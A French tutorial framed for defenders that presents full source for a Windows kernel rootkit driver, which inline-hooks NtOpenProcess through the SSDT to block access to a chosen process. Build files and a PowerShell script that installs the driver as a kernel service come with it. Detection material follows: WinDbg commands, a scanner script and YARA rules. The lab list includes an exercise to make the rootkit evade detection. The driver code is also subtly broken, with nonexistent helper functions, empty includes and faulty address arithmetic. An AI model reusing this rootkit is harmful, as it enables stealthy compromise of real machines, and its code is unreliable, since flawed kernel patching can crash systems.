Low-Level Maestro Series 2026 | Résolution dynamique SSDT, inline hook NtOpenProcess, hide process techniques | Pour les cyberdéfenseurs qui veulent comprendre les rootkits kernel réels
L'inline hooking SSDT (System Service Descriptor Table) consiste à modifier directement le code des fonctions kernel (ntoskrnl.exe) pour intercepter les appels système. En 2026, avec les protections KDP (Kernel Data Protection) et HVCI (Hypervisor-protected Code Integrity), cette technique est limitée en production mais reste éducative en environnement de laboratoire avec test signing activé.
bcdedit /set testsigning onLa SSDT est une table de pointeurs de fonctions dans le kernel Windows qui mappe les numéros de service (syscall numbers) vers les fonctions kernel correspondantes. Chaque entrée SSDT contient l'adresse d'une fonction système comme NtOpenProcess, NtReadFile, etc.
| Composant | Description | Emplacement |
|---|---|---|
| KeServiceDescriptorTable | Table principale des services (ntoskrnl.exe exports) | ntoskrnl.exe (kernel space) |
| KeServiceDescriptorTableShadow | Table étendue pour win32k.sys (GUI) | ntoskrnl.exe + win32k.sys |
| KiServiceTable | Table des offsets (alternative representation) | ntoskrnl.exe .text section |
// ====================================================================
// SSDT Inline Hooking Driver - Windows 11 24H2
// Hook NtOpenProcess pour cacher un processus spécifique
// PCTAMALOU Research - platon-y
// ====================================================================
#include
#include
// Définition des structures non documentées
typedef struct _KSERVICE_TABLE_DESCRIPTOR {
PVOID Base;
PULONG Count;
ULONG Limit;
PUCHAR Table;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;
// Variables globales
extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;
// Pour stocker l'original
UCHAR original_bytes[12];
PVOID original_NtOpenProcess = NULL;
PVOID hooked_NtOpenProcess = NULL;
// PID à cacher (configurable)
ULONG hidden_pid = 1234;
// ====================================================================
// DETOUR FUNCTION : Notre version hookée de NtOpenProcess
// ====================================================================
NTSTATUS NTAPI Hooked_NtOpenProcess(
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PCLIENT_ID ClientId
) {
NTSTATUS status = STATUS_SUCCESS;
// Vérifier si le PID cible est celui que nous voulons cacher
if (ClientId != NULL && ClientId->UniqueProcess != NULL) {
ULONG target_pid = HandleToUlong(ClientId->UniqueProcess);
if (target_pid == hidden_pid) {
// Cacher le processus - retourner accès refusé
DbgPrint("[SSDTHOOK] Blocking access to hidden PID: %lu\n", hidden_pid);
return STATUS_ACCESS_DENIED;
}
}
// Restaurer les bytes originaux temporairement
// (pour éviter la récursion infinie)
RestoreOriginalBytes();
// Appeler la fonction originale
typedef NTSTATUS(NTAPI* OriginalNtOpenProcess_t)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
OriginalNtOpenProcess_t original_func = (OriginalNtOpenProcess_t)original_NtOpenProcess;
status = original_func(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
// Réappliquer le hook
ApplyHook();
return status;
}
// ====================================================================
// FONCTION : ApplyInlineHook
// Applique l'inline hook à NtOpenProcess
// ====================================================================
NTSTATUS ApplyInlineHook() {
NTSTATUS status = STATUS_SUCCESS;
KIRQL old_irql;
// Trouver NtOpenProcess via SSDT
ULONG service_index = 0;
status = GetNtOpenProcessIndex(&service_index);
if (!NT_SUCCESS(status)) {
DbgPrint("[SSDTHOOK] Failed to get NtOpenProcess index\n");
return status;
}
// Obtenir l'adresse de NtOpenProcess depuis SSDT
PVOID nt_open_process_addr = GetSSDTFunctionAddress(service_index);
if (nt_open_process_addr == NULL) {
DbgPrint("[SSDTHOOK] Failed to get NtOpenProcess address\n");
return STATUS_NOT_FOUND;
}
// Sauvegarder l'adresse originale
original_NtOpenProcess = nt_open_process_addr;
// Calculer l'offset pour le JMP
// JMP rel32 : E9 [relative offset]
ULONG_PTR source = (ULONG_PTR)nt_open_process_addr;
ULONG_PTR destination = (ULONG_PTR)Hooked_NtOpenProcess;
LONG relative_offset = (LONG)(destination - source - 5); // 5 bytes pour E9 + offset
// Préparer le patch : E9 [offset] + NOPs pour alignement
UCHAR patch[12] = {
0xE9, 0x00, 0x00, 0x00, 0x00, // JMP rel32
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 // NOP padding
};
// Copier l'offset dans le patch
*(PLONG)(patch + 1) = relative_offset;
// Sauvegarder les bytes originaux
old_irql = RaiseIRQLToDpcLevel();
// Désactiter la protection en écriture (nécessite droits appropriés)
PMDL mdl = IoAllocateMdl(nt_open_process_addr, sizeof(patch), FALSE, FALSE, NULL);
if (mdl == NULL) {
DbgPrint("[SSDTHOOK] Failed to allocate MDL\n");
LowerIRQL(old_irql);
return STATUS_INSUFFICIENT_RESOURCES;
}
__try {
MmProbeAndLockPages(mdl, KernelMode, IoReadAccess);
PVOID mapped_addr = MmMapLockedPagesSpecifyCache(mdl, KernelMode,
MmNonCached, NULL, FALSE,
NormalPagePriority);
if (mapped_addr == NULL) {
DbgPrint("[SSDTHOOK] Failed to map locked pages\n");
__leave;
}
// Sauvegarder les bytes originaux
RtlCopyMemory(original_bytes, mapped_addr, sizeof(patch));
// Appliquer le patch
RtlCopyMemory(mapped_addr, patch, sizeof(patch));
// Nettoyage
MmUnmapLockedPages(mapped_addr, mdl);
MmUnlockPages(mdl);
DbgPrint("[SSDTHOOK] Inline hook applied successfully to NtOpenProcess\n");
status = STATUS_SUCCESS;
} __except(EXCEPTION_EXECUTE_HANDLER) {
status = GetExceptionCode();
DbgPrint("[SSDTHOOK] Exception during hooking: 0x%08X\n", status);
}
IoFreeMdl(mdl);
LowerIRQL(old_irql);
return status;
}
// ====================================================================
// FONCTION : GetNtOpenProcessIndex
// Résout l'index SSDT de NtOpenProcess dynamiquement
// ====================================================================
NTSTATUS GetNtOpenProcessIndex(PULONG Index) {
UNICODE_STRING nt_open_process_name;
PVOID nt_open_process_addr;
// Résoudre NtOpenProcess par son nom
RtlInitUnicodeString(&nt_open_process_name, L"NtOpenProcess");
nt_open_process_addr = MmGetSystemRoutineAddress(&nt_open_process_name);
if (nt_open_process_addr == NULL) {
// Fallback: recherche par pattern scanning
return FindNtOpenProcessByPattern(Index);
}
// Windows 11 24H2: l'index est souvent 0x26, mais vérifions dynamiquement
// Cette partie nécessite une analyse plus poussée de la SSDT
*Index = 0x26; // Valeur par défaut pour Windows 11 23H2+
DbgPrint("[SSDTHOOK] NtOpenProcess address: 0x%p, Index: 0x%lX\n",
nt_open_process_addr, *Index);
return STATUS_SUCCESS;
}
// ====================================================================
// FONCTION : GetSSDTFunctionAddress
// Obtient l'adresse d'une fonction depuis la SSDT
// ====================================================================
PVOID GetSSDTFunctionAddress(ULONG Index) {
if (KeServiceDescriptorTable == NULL) {
DbgPrint("[SSDTHOOK] KeServiceDescriptorTable not found\n");
return NULL;
}
// Vérifier les limites
if (Index >= KeServiceDescriptorTable->Limit) {
DbgPrint("[SSDTHOOK] SSDT index out of bounds: %lu\n", Index);
return NULL;
}
// SSDT contient des DWORD offsets sur certaines versions
// Sur Windows x64, c'est généralement un tableau de DWORD offsets
ULONG_PTR ntoskrnl_base = (ULONG_PTR)&KeServiceDescriptorTable;
// Alignement et calcul de l'adresse
// Cette logique dépend de la version de Windows
ULONG offset = ((PULONG)KeServiceDescriptorTable->Table)[Index];
PVOID function_address = (PVOID)(ntoskrnl_base + (offset >> 4));
return function_address;
}
// ====================================================================
// FONCTION : RestoreOriginalBytes
// Restaure les bytes originaux (pour appeler la fonction originale)
// ====================================================================
VOID RestoreOriginalBytes() {
KIRQL old_irql = RaiseIRQLToDpcLevel();
PMDL mdl = IoAllocateMdl(original_NtOpenProcess, sizeof(original_bytes),
FALSE, FALSE, NULL);
if (mdl == NULL) {
LowerIRQL(old_irql);
return;
}
__try {
MmProbeAndLockPages(mdl, KernelMode, IoReadAccess);
PVOID mapped_addr = MmMapLockedPagesSpecifyCache(mdl, KernelMode,
MmNonCached, NULL, FALSE,
NormalPagePriority);
if (mapped_addr == NULL) {
__leave;
}
// Restaurer les bytes originaux
RtlCopyMemory(mapped_addr, original_bytes, sizeof(original_bytes));
// Flush le cache CPU
__wbinvd();
MmUnmapLockedPages(mapped_addr, mdl);
MmUnlockPages(mdl);
} __except(EXCEPTION_EXECUTE_HANDLER) {
DbgPrint("[SSDTHOOK] Exception during restore\n");
}
IoFreeMdl(mdl);
LowerIRQL(old_irql);
}
// ====================================================================
// FONCTION : ApplyHook
// Réapplique le hook (après avoir restauré les bytes originaux)
// ====================================================================
VOID ApplyHook() {
KIRQL old_irql = RaiseIRQLToDpcLevel();
PMDL mdl = IoAllocateMdl(original_NtOpenProcess, sizeof(original_bytes),
FALSE, FALSE, NULL);
if (mdl == NULL) {
LowerIRQL(old_irql);
return;
}
__try {
MmProbeAndLockPages(mdl, KernelMode, IoReadAccess);
PVOID mapped_addr = MmMapLockedPagesSpecifyCache(mdl, KernelMode,
MmNonCached, NULL, FALSE,
NormalPagePriority);
if (mapped_addr == NULL) {
__leave;
}
// Appliquer le patch hook
UCHAR patch[12] = {
0xE9, 0x00, 0x00, 0x00, 0x00, // JMP rel32
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
};
ULONG_PTR source = (ULONG_PTR)original_NtOpenProcess;
ULONG_PTR destination = (ULONG_PTR)Hooked_NtOpenProcess;
LONG relative_offset = (LONG)(destination - source - 5);
*(PLONG)(patch + 1) = relative_offset;
RtlCopyMemory(mapped_addr, patch, sizeof(patch));
// Flush le cache CPU
__wbinvd();
MmUnmapLockedPages(mapped_addr, mdl);
MmUnlockPages(mdl);
} __except(EXCEPTION_EXECUTE_HANDLER) {
DbgPrint("[SSDTHOOK] Exception during re-apply hook\n");
}
IoFreeMdl(mdl);
LowerIRQL(old_irql);
}
// ====================================================================
// FONCTION : FindNtOpenProcessByPattern
// Recherche NtOpenProcess par pattern scanning (fallback)
// ====================================================================
NTSTATUS FindNtOpenProcessByPattern(PULONG Index) {
// Pattern pour NtOpenProcess sur Windows 11
// Cette approche est version-specific et doit être ajustée
UCHAR pattern[] = {0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10};
UCHAR mask[] = "xxxx xxxx xxxx xxxx"; // x = exact match, ? = wildcard
// Implémentation simplifiée
// En réalité, il faudrait scanner la mémoire de ntoskrnl
*Index = 0x26; // Fallback à la valeur connue
return STATUS_SUCCESS;
}
// ====================================================================
// DRIVER ENTRY POINT
// ====================================================================
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
NTSTATUS status;
UNREFERENCED_PARAMETER(RegistryPath);
DbgPrint("[SSDTHOOK] Driver loading...\n");
// Configurer les routines de déchargement
DriverObject->DriverUnload = DriverUnload;
// Appliquer le hook SSDT
status = ApplyInlineHook();
if (!NT_SUCCESS(status)) {
DbgPrint("[SSDTHOOK] Failed to apply SSDT hook: 0x%08X\n", status);
return status;
}
DbgPrint("[SSDTHOOK] Driver loaded successfully. Hiding PID: %lu\n", hidden_pid);
return STATUS_SUCCESS;
}
// ====================================================================
// DRIVER UNLOAD
// ====================================================================
VOID DriverUnload(PDRIVER_OBJECT DriverObject) {
UNREFERENCED_PARAMETER(DriverObject);
DbgPrint("[SSDTHOOK] Driver unloading...\n");
// Restaurer les bytes originaux
if (original_NtOpenProcess != NULL) {
KIRQL old_irql = RaiseIRQLToDpcLevel();
PMDL mdl = IoAllocateMdl(original_NtOpenProcess, sizeof(original_bytes),
FALSE, FALSE, NULL);
if (mdl != NULL) {
__try {
MmProbeAndLockPages(mdl, KernelMode, IoReadAccess);
PVOID mapped_addr = MmMapLockedPagesSpecifyCache(mdl, KernelMode,
MmNonCached, NULL, FALSE,
NormalPagePriority);
if (mapped_addr != NULL) {
RtlCopyMemory(mapped_addr, original_bytes, sizeof(original_bytes));
__wbinvd(); // Flush cache
MmUnmapLockedPages(mapped_addr, mdl);
}
MmUnlockPages(mdl);
} __except(EXCEPTION_EXECUTE_HANDLER) {
DbgPrint("[SSDTHOOK] Exception during cleanup\n");
}
IoFreeMdl(mdl);
}
LowerIRQL(old_irql);
}
DbgPrint("[SSDTHOOK] Driver unloaded successfully\n");
}
TARGETNAME=ssdthook
TARGETTYPE=DRIVER
TARGETPATH=obj
DRIVERTYPE=WDM
SOURCES=ssdthook.c
MSC_WARNING_LEVEL=/W4 /WX
C_DEFINES=$(C_DEFINES) -D_WIN32_WINNT=0x0A00
# Sécurité supplémentaire
BUFFER_OVERFLOW_CHECKS=1
SECURITY_CWARN=ON
SECURITY_WARNINGS=ON
# Configuration pour Windows 11
SUBSYSTEM_VERSION=10.0
MINIMUM_NT_TARGET_VERSION=10.0
# Makefile pour SSDT Hook Driver
# Nécessite Windows Driver Kit (WDK)
!IF "$(WDKCONTENTROOT)" == ""
!ERROR Environnement WDK non configuré. Lancez "WDK Test Environment"
!ENDIF
TARGETNAME=ssdthook
TARGETTYPE=DRIVER
TARGETPATH=obj
SOURCES=ssdthook.c
MSC_WARNING_LEVEL=/W4 /WX
C_DEFINES=$(C_DEFINES) -D_WIN32_WINNT=0x0A00
# Lien avec les librairies nécessaires
TARGETLIBS=$(DDK_LIB_PATH)/ntoskrnl.lib
# Signing (nécessite certificat de test)
# SIGNTOOL=sign /v /fd sha256 /a $(OUTDIR)\$(TARGETNAME).sys
all: $(OUTDIR)\$(TARGETNAME).sys
clean:
del /Q $(OUTDIR)\*.*
del /Q obj\*.*
# Script de déploiement et test du driver SSDT Hook
# Exécuter en tant qu'administrateur
param(
[string]$DriverName = "ssdthook",
[int]$HiddenPID = 1234
)
# Vérifier les privilèges admin
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
Write-Host "Ce script doit être exécuté en tant qu'administrateur." -ForegroundColor Red
exit 1
}
# Configuration
$DriverPath = "C:\Drivers\$DriverName.sys"
$ServiceName = $DriverName
# Étape 1: Copier le driver
Write-Host "[1/5] Copie du driver..." -ForegroundColor Yellow
if (-not (Test-Path $DriverPath)) {
Write-Host "Driver non trouvé: $DriverPath" -ForegroundColor Red
exit 1
}
# Étape 2: Créer le service
Write-Host "[2/5] Création du service..." -ForegroundColor Yellow
sc.exe create $ServiceName type= kernel start= demand binPath= $DriverPath
if ($LASTEXITCODE -ne 0) {
Write-Host "Échec de création du service" -ForegroundColor Red
exit 1
}
# Étape 3: Configurer le PID à cacher (via registre)
Write-Host "[3/5] Configuration du PID caché: $HiddenPID" -ForegroundColor Yellow
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Services\$ServiceName\Parameters"
New-Item -Path $RegPath -Force | Out-Null
New-ItemProperty -Path $RegPath -Name "HiddenPID" -Value $HiddenPID -PropertyType DWORD -Force | Out-Null
# Étape 4: Démarrer le service
Write-Host "[4/5] Démarrage du service..." -ForegroundColor Yellow
sc.exe start $ServiceName
if ($LASTEXITCODE -ne 0) {
Write-Host "Échec du démarrage du service" -ForegroundColor Red
# Nettoyage
sc.exe delete $ServiceName
exit 1
}
Write-Host "[5/5] Vérification..." -ForegroundColor Yellow
Start-Sleep -Seconds 2
# Vérifier si le service fonctionne
$service = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue
if ($service.Status -eq 'Running') {
Write-Host "✅ Driver SSDT Hook actif. PID caché: $HiddenPID" -ForegroundColor Green
# Test: essayer d'ouvrir le processus caché
Write-Host "`nTest de détection..." -ForegroundColor Cyan
$process = Get-Process -Id $HiddenPID -ErrorAction SilentlyContinue
if ($process) {
Write-Host "❌ Le processus $HiddenPID est toujours visible" -ForegroundColor Red
} else {
Write-Host "✅ Le processus $HiddenPID est caché" -ForegroundColor Green
}
} else {
Write-Host "❌ Le service n'est pas en cours d'exécution" -ForegroundColor Red
}
Write-Host "`nPour arrêter le driver : .\stop-driver.ps1" -ForegroundColor Yellow
Protège les structures kernel critiques comme la SSDT en marquant la mémoire en read-only. Empêche les modifications directes des tables système.
Valide l'intégrité du code kernel en temps réel via l'hyperviseur. Détecte les modifications de code comme les inline hooks.
Exige que tous les drivers soient signés par un certificat approuvé. Empêche le chargement de drivers malveillants non signés.
Solutions EDR qui scannent la mémoire kernel pour détecter les hooks, les modifications de code et les structures altérées.
Validation périodique de l'intégrité du système, y compris les tables kernel et le code système, via des mécanismes comme SiVA.
Détection des patterns d'activité rootkit : processus invisibles, handles impossibles, inconsistances dans les états système.
# WinDbg Commands pour détecter SSDT Hooks
# 1. Examiner la SSDT
kd> dps nt!KeServiceDescriptorTable
kd> dps nt!KeServiceDescriptorTableShadow
# 2. Vérifier les hooks inline
kd> u nt!NtOpenProcess
# Rechercher des JMPs suspects au début de la fonction
# 3. Scanner les modifications de code
kd> !chkimg nt!NtOpenProcess -d
# Vérifier les différences avec l'image sur disque
# 4. Examiner les MDLs (Memory Descriptor Lists)
kd> !pooltag Mdl
kd> !poolfind Mdl
# 5. Vérifier les drivers chargés
kd> lm
kd> !drvobj 2
# 6. Scanner pour des hooks via pattern
kd> s -a nt!KiServiceTable L?1000 E9 00 00 00 00
# Recherche de JMP rel32 (E9) dans la table de service
# 7. Vérifier l'intégrité de la mémoire
kd> !pte
kd> !vprot
# 8. Détection avancée avec extensions
kd> .load kdnetext
kd> !avrf
# Script de détection SSDT Hooks - Windows 11
# Nécessite des privilèges élevés
function Test-SSDTHooks {
param(
[switch]$Verbose
)
Write-Host "=== Détection SSDT Hooks ===" -ForegroundColor Cyan
# 1. Vérifier les modifications de la SSDT via kernel debugging symbols
# (Implémentation simplifiée - en réalité utiliser WinDbg ou API kernel)
# 2. Vérifier les hooks inline via pattern scanning
$suspicious_patterns = @(
@{ Pattern = "E9 ?? ?? ?? ?? 90 90 90"; Description = "JMP rel32 + NOPs (inline hook)" },
@{ Pattern = "FF 25 ?? ?? ?? ??"; Description = "JMP indirect (IAT hook)" },
@{ Pattern = "CC CC CC CC"; Description = "Breakpoints multiples" }
)
# 3. Vérifier les drivers non signés/suspects
$drivers = Get-WmiObject Win32_SystemDriver |
Where-Object { $_.State -eq "Running" } |
Select-Object Name, DisplayName, PathName, Started
$suspicious_drivers = $drivers | Where-Object {
$_.PathName -notmatch "\\Windows\\" -and
$_.PathName -notmatch "\\Program Files\\" -and
$_.Name -notmatch "^(amd|intel|nvidia)"
}
if ($suspicious_drivers) {
Write-Host "❌ Drivers suspects détectés:" -ForegroundColor Red
$suspicious_drivers | Format-Table -AutoSize
} else {
Write-Host "✅ Aucun driver suspect détecté" -ForegroundColor Green
}
# 4. Vérifier les processus avec handles kernel
Write-Host "`n=== Processus avec accès kernel ===" -ForegroundColor Cyan
Get-Process | Where-Object { $_.HandleCount -gt 1000 } |
Select-Object Name, Id, HandleCount |
Sort-Object HandleCount -Descending |
Select-Object -First 10
# 5. Vérifier les modifications de mémoire (via WinAPI si possible)
# Nécessite des appels P/Invoke vers NtQuerySystemInformation
return $true
}
# Exécuter la détection
if ([Security.Principal.WindowsPrincipal]::new([Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
Test-SSDTHooks -Verbose
} else {
Write-Host "Exécutez en tant qu'administrateur pour une détection complète" -ForegroundColor Yellow
}
rule Kernel_SSDT_Hook {
meta:
description = "Detects SSDT hooking techniques in kernel drivers"
author = "PCTAMALOU Research 2026"
date = "2026-01-01"
reference = "Rootkit SSDT Hooking"
strings:
// Patterns pour SSDT manipulation
$ssdt_hook1 = { 48 8B 05 ?? ?? ?? ?? 48 89 44 24 ?? } // mov rax, [KeServiceDescriptorTable]
$ssdt_hook2 = { C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? } // Modification de table
// Patterns inline hooking
$inline_hook1 = { E9 ?? ?? ?? ?? 90 90 90 } // JMP rel32 + NOPs
$inline_hook2 = { FF 25 ?? ?? ?? ?? 90 90 } // JMP [rip+offset] + NOPs
// Strings caractéristiques
$hook_strings = "Hooked" wide ascii
$ssdt_strings = "KeServiceDescriptorTable" ascii
$nt_strings = "NtOpenProcess" ascii
// Patterns de manipulation mémoire kernel
$mem_hook = { 48 8B ?? ?? 48 89 ?? ?? 48 8B ?? ?? 48 89 ?? ?? } // Sauvegarde/restauration
condition:
// Driver kernel avec patterns de hooking
uint16(0) == 0x5A4D and // MZ header
filesize < 100KB and // Petit driver
(2 of ($ssdt_hook*)) or // SSDT hooking
(2 of ($inline_hook*)) or // Inline hooking
(all of ($hook_strings, $ssdt_strings, $nt_strings)) // Strings caractéristiques
}
rule Rootkit_Hide_Process {
meta:
description = "Detects process hiding techniques in kernel code"
author = "PCTAMALOU Research 2026"
strings:
// Patterns pour cacher des processus
$hide_pid1 = { 81 ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? C3 } // cmp + jne + mov eax, STATUS_ACCESS_DENIED
$hide_pid2 = { 48 3B ?? ?? 74 ?? 48 8B ?? ?? FF ?? ?? } // Comparaison PID + branchement
// Strings pour le caching
$pid_strings = "ProcessId" wide ascii
$hide_strings = "Hidden" wide ascii
$access_denied = "STATUS_ACCESS_DENIED" ascii
condition:
2 of them
}
Objectif : Analyser un driver rootkit existant avec IDA Pro/Ghidra.
# Configuration WinDbg pour kernel debugging
# 1. Activer kernel debugging sur la cible :
bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.1.100 port:50000
# 2. Connecter WinDbg :
windbg -k net:port=50000,key=1.2.3.4
# Commandes pour analyser les hooks :
kd> x nt!KeServiceDescriptorTable
kd> u nt!NtOpenProcess
kd> !chkimg nt!NtOpenProcess
kd> !poolfind Mdl
# Vérifier les hooks inline :
kd> s -b nt L?1000000 E9 00 00 00 00 90 90 90
kd> ln
# Examiner les drivers :
kd> lm
kd> !drvobj 2
kd> !process 0 0
Objectif : Créer un outil de détection rootkit en C++/C#.
Objectif : Améliorer le rootkit pour contourner les détections.
Objectif : Analyser un memory dump kernel infecté.
Les techniques d'inline hooking SSDT représentent un niveau avancé de rootkit kernel, permettant aux attaquants d'intercepter et de manipuler les appels système au plus bas niveau. En 2026, avec les protections comme KDP et HVCI, ces techniques deviennent plus difficiles à implémenter mais restent cruciales à comprendre pour les cyberdéfenseurs.